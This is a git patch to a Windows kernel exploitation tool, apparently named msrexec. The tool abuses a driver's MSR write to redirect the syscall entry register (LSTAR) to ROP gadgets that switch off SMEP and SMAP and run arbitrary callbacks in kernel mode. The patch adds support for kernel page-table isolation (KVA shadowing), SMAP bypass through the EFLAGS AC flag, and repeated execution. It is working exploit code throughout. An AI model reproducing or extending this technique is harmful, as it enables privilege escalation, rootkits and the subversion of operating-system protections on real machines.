From 447d1c2ba76d7cdfd106c4a1e69fd9f84c187736 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 23 Feb 2021 00:51:34 -0800 Subject: [PATCH] it works!!!!!!! thank you drew!!! :))) --- main.cpp | 27 +++++++++++--------- msrexec.cpp | 60 +++++++++++++++++++++++++++++++++++---------- msrexec.hpp | 4 +++ msrexec.vcxproj | 2 ++ syscall_handler.asm | 12 +++++++-- utils.hpp | 35 +++++++++++++------------- 6 files changed, 96 insertions(+), 44 deletions(-) diff --git a/main.cpp b/main.cpp index 46d4246..53f6c09 100644 --- a/main.cpp +++ b/main.cpp @@ -27,19 +27,22 @@ int __cdecl main(int argc, char** argv) }; vdm::msrexec_ctx msrexec(_write_msr); - msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void + for(auto idx = 0u; idx < 100; ++idx) { - const auto dbg_print = - reinterpret_cast( - get_kroutine(krnl_base, "DbgPrint")); - - const auto ex_alloc_pool = - reinterpret_cast( - get_kroutine(krnl_base, "ExAllocatePool")); - - dbg_print("> allocated pool -> 0x%p\n", ex_alloc_pool(NULL, 0x1000)); - dbg_print("> cr4 -> 0x%p\n", __readcr4()); - }); + msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void + { + const auto dbg_print = + reinterpret_cast( + get_kroutine(krnl_base, "DbgPrint")); + + const auto ex_alloc_pool = + reinterpret_cast( + get_kroutine(krnl_base, "ExAllocatePool")); + + dbg_print("> allocated pool -> 0x%p\n", ex_alloc_pool(NULL, 0x1000)); + dbg_print("> cr4 -> 0x%p\n", __readcr4()); + }); + } const auto unload_result = vdm::unload_drv(drv_handle, drv_key); diff --git a/msrexec.cpp b/msrexec.cpp index 4c58ec5..b5e5b4e 100644 --- a/msrexec.cpp +++ b/msrexec.cpp @@ -22,7 +22,6 @@ namespace vdm if (!find_globals()) std::printf("> failed to find globals...\n"); - // this is a guess aided by cpuid feature checks... cpuid_eax_01 cpuid_info; __cpuid((int*)&cpuid_info, 1); @@ -34,31 +33,33 @@ namespace vdm cr4_value.page_size_extensions = true; cr4_value.machine_check_enable = true; - cr4_value.physical_address_extension = + cr4_value.physical_address_extension = cpuid_info.cpuid_feature_information_edx.physical_address_extension; - cr4_value.os_fxsave_fxrstor_support = + cr4_value.os_fxsave_fxrstor_support = cpuid_info.cpuid_feature_information_edx.fxsave_fxrstor_instructions; cr4_value.os_xmm_exception_support = true; - cr4_value.fsgsbase_enable = + cr4_value.fsgsbase_enable = IsProcessorFeaturePresent(PF_RDWRFSGSBASE_AVAILABLE); - cr4_value.os_xsave = + cr4_value.os_xsave = IsProcessorFeaturePresent(PF_XSAVE_ENABLED); - cr4_value.pcid_enable = + cr4_value.pcid_enable = cpuid_info.cpuid_feature_information_ecx - .process_context_identifiers; + .process_context_identifiers; m_smep_off.flags = cr4_value.flags; m_smep_off.smep_enable = false; + m_smep_off.smap_enable = false; // newer spus have this on... // WARNING: some virtual machines dont have SMEP... // my VMWare VM doesnt... nor does my Virtual Box VM... m_smep_on.flags = cr4_value.flags; - m_smep_on.smap_enable = cpuid_features.ebx.smep; + m_smep_on.smep_enable = cpuid_features.ebx.smep; + m_smep_on.smap_enable = cpuid_features.ebx.smap; ntoskrnl_base = reinterpret_cast( @@ -76,6 +77,9 @@ namespace vdm std::printf("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset); std::printf("> m_system_call -> 0x%p\n", m_system_call); + std::printf("> m_smep_off -> 0x%p\n", m_smep_off.flags); + std::printf("> m_smep_on -> 0x%p\n", m_smep_on.flags); + std::printf("> check to make sure none of these^ are zero before pressing enter...\n"); std::getchar(); } @@ -135,6 +139,41 @@ namespace vdm m_kpcr_rsp_offset = *reinterpret_cast(ki_system_call + 8); m_kpcr_krsp_offset = *reinterpret_cast(ki_system_call + 17); + + // handle KVA shadowing... if KVA shadowing is enabled LSTAR will point at KiSystemCall64Shadow... + SYSTEM_KERNEL_VA_SHADOW_INFORMATION kva_info = { 0 }; + + // if SystemKernelVaShadowInformation is not a valid class just + // return true and assume LSTAR points to KiSystemCall64... + if (NT_SUCCESS(NtQuerySystemInformation(SystemKernelVaShadowInformation, &kva_info, sizeof(kva_info), nullptr))) + { + if (kva_info.KvaShadowFlags.KvaShadowEnabled) + { + const auto [section_data, section_rva] = + utils::pe::get_section( + reinterpret_cast( + LoadLibraryA("ntoskrnl.exe")), "KVASCODE"); + + // no KVASCODE section so there is no way for LSTAR to be KiSystemCall64Shadow... + if (!section_rva || section_data.empty()) + return true; + + const auto ki_system_shadow_call = + utils::scan(reinterpret_cast( + section_data.data()), section_data.size(), + KI_SYSCALL_SHADOW_SIG, KI_SYSCALL_SHADOW_MASK); + + // already set m_syscall_call so we just return true... + if (!ki_system_shadow_call) + return true; + + // else we update m_system_call with KiSystemCall64Shadow... + m_system_call = (ki_system_shadow_call - + reinterpret_cast( + section_data.data())) + section_rva + + utils::kmodule::get_base("ntoskrnl.exe"); + } + } return true; } @@ -146,13 +185,9 @@ namespace vdm GetThreadPriority(GetCurrentThread()) }; - // make it so our thread is highest possible priority... SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS); SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); - // we want to finish off our quantum... - while (!SwitchToThread()); - // set LSTAR to first rop gadget... race begins here... if (!wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget)) std::printf("> failed to set LSTAR...\n"); @@ -160,7 +195,6 @@ namespace vdm // go go gadget kernel execution... syscall_wrapper(&kernel_callback); - // reset thread priority... SetPriorityClass(GetCurrentProcess(), thread_info.first); SetThreadPriority(GetCurrentThread(), thread_info.second); } diff --git a/msrexec.hpp b/msrexec.hpp index f8d4d76..2c68f05 100644 --- a/msrexec.hpp +++ b/msrexec.hpp @@ -13,6 +13,10 @@ #define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx" static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size..."); +#define KI_SYSCALL_SHADOW_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x65\x0F\xBA\x24\x25\x00\x00\x00\x00\x00\x72\x03\x0F\x22\xDC" +#define KI_SYSCALL_SHADOW_MASK "xxxxxxxx????xxxxx????xxxxx?????xxxxx" +static_assert(sizeof KI_SYSCALL_SHADOW_SIG == sizeof KI_SYSCALL_SHADOW_MASK); + using get_system_routine_t = void* (*)(void*, const char*); using callback_t = std::function; using thread_info_t = std::pair; diff --git a/msrexec.vcxproj b/msrexec.vcxproj index 1b9bcca..32a8584 100644 --- a/msrexec.vcxproj +++ b/msrexec.vcxproj @@ -75,6 +75,7 @@ _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp17 + MultiThreadedDebugDLL Console @@ -91,6 +92,7 @@ NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp17 + MultiThreadedDLL Console diff --git a/syscall_handler.asm b/syscall_handler.asm index c31941f..333b5eb 100644 --- a/syscall_handler.asm +++ b/syscall_handler.asm @@ -54,6 +54,8 @@ syscall_handler endp syscall_wrapper proc push r10 ; syscall puts RIP into rcx... + pushfq + mov r10, rcx ; swap r10 and rcx... push m_sysret_gadget ; REX.W prefixed... @@ -61,7 +63,6 @@ syscall_wrapper proc push rax ; push m_pop_rcx_gadget ; gadget to put RIP back into rcx... - push m_mov_cr4_gadget ; turn smep back on... push m_smep_on ; value of CR4 with smep off... @@ -73,10 +74,17 @@ syscall_wrapper proc push m_mov_cr4_gadget ; disable smep... push m_smep_off ; + pushfq ; THANK YOU DREW YOU SAVED THE PROJECT!!! + pop rax ; this will set the AC flag in EFLAGS which "disables SMAP"... + or rax, 040000h ; + push rax ; + popfq ; + syscall ; LSTAR points at a pop rcx gadget... ; it will put m_smep_off into rcx... finish: - pop r10 + popfq ; restore EFLAGS... + pop r10 ; restore r10... ret syscall_wrapper endp end \ No newline at end of file diff --git a/utils.hpp b/utils.hpp index 54c83b8..a30ae85 100644 --- a/utils.hpp +++ b/utils.hpp @@ -39,23 +39,23 @@ typedef struct _RTL_PROCESS_MODULES RTL_PROCESS_MODULE_INFORMATION Modules[1]; } RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; -extern "C++" +#define SystemKernelVaShadowInformation (SYSTEM_INFORMATION_CLASS) 196 +typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION { - char _RTL_CONSTANT_STRING_type_check(const WCHAR* s); - // __typeof would be desirable here instead of sizeof. - template class _RTL_CONSTANT_STRING_remove_const_template_class; -template <> class _RTL_CONSTANT_STRING_remove_const_template_class { public: typedef char T; }; -template <> class _RTL_CONSTANT_STRING_remove_const_template_class { public: typedef WCHAR T; }; -#define _RTL_CONSTANT_STRING_remove_const_macro(s) \ - (const_cast<_RTL_CONSTANT_STRING_remove_const_template_class::T*>(s)) -} - -#define RTL_CONSTANT_STRING(s) \ -{ \ - sizeof( s ) - sizeof( (s)[0] ), \ - sizeof( s ) / sizeof(_RTL_CONSTANT_STRING_type_check(s)), \ - _RTL_CONSTANT_STRING_remove_const_macro(s) \ -} + struct + { + ULONG KvaShadowEnabled : 1; + ULONG KvaShadowUserGlobal : 1; + ULONG KvaShadowPcid : 1; + ULONG KvaShadowInvpcid : 1; + ULONG KvaShadowRequired : 1; + ULONG KvaShadowRequiredAvailable : 1; + ULONG InvalidPteBit : 6; + ULONG L1DataCacheFlushSupported : 1; + ULONG L1TerminalFaultMitigationPresent : 1; + ULONG Reserved : 18; + } KvaShadowFlags; +} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION; namespace utils { @@ -310,7 +310,8 @@ namespace utils reinterpret_cast( section_header[idx].Name); - if (!strcmp(_section_name, section_name)) + // sometimes section names are not null terminated... + if (!strncmp(_section_name, section_name, strlen(section_name) - 1)) { const auto section_base = reinterpret_cast(